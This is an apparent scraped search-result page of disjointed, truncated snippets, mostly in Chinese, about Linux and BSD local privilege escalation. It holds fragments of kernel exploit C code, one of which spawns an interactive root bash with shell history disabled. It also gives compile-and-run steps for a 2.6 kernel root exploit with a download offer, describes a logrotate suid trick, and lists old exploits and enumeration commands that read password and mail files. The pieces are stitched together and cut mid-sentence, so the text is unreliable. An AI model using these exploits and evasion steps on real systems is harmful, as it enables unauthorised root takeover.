这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。 exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses...
attr.type=PERF_TYPE_SOFTWARE; attr.size=sizeof(attr); attr.config=off; attr.mmap=1; attr.comm=1; attr.exclude_kernel=1; rc= syscall(SYS_perf_event_open, &attr,0, -1, -1,0);returnrc; }void__sc_start(void);void__sc_next(void);void__sc(void) { asm("__sc_start:\n""call...
Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit 这个本地提权拿root漏洞的exp,使用方法很简单: gcc -o ts2.6.c moo # 编译,生成moo ./moo # 直接溢出完成后就是root 提供源码和编译好的下载。源码: 下载文件 (已下载 2 次) 点击这里下载文件: ts2.6.tar.gz编译好...
exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); }
https://github.com/AlessandroZ/BeRoot/tree/master/Linux BeRoot用于检查Linux和Mac OS上常见的错误配置,以找到一种方法来升级我们的特权。检查项包括GTFOBins中的二进制文件、通配符错误、suid、环境变量、NFS、sudo等等,详细可以去上面链接看。 pspy
Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg, if the original byte at that address is known it can be overwritten with known data. If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00. ...
Freebsd 4.2 ->Ports package local root (http://milw0rm.com/exploits/286) FreeBSD 4.x <= 5.4) master.passwd Disclosure Exploit (http://milw0rm.com/exploits/1311) Openbsd Openbsd 2.x - 3.3 ->exec_ibcs2_coff_prep_zmagic() Kernel Exploit (http://milw0rm.com/exploits/125) ...
cat /var/mail/root cat /var/spool/mail/root cat /etc/group 列出系统上的所有组 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 ...
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt 这里可以分为7个字段。 第一组数据-rw-r--r-- 第一位: -: 代表普通文件 d:代表目录 l:代表软链接 b:代表块文件 c:代表字符设备 第二及后面几位,分别三个为一组: rw-r--r--代表文件所属的权限 ...
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation. CVE-2015-1328 . local exploit for Linux platform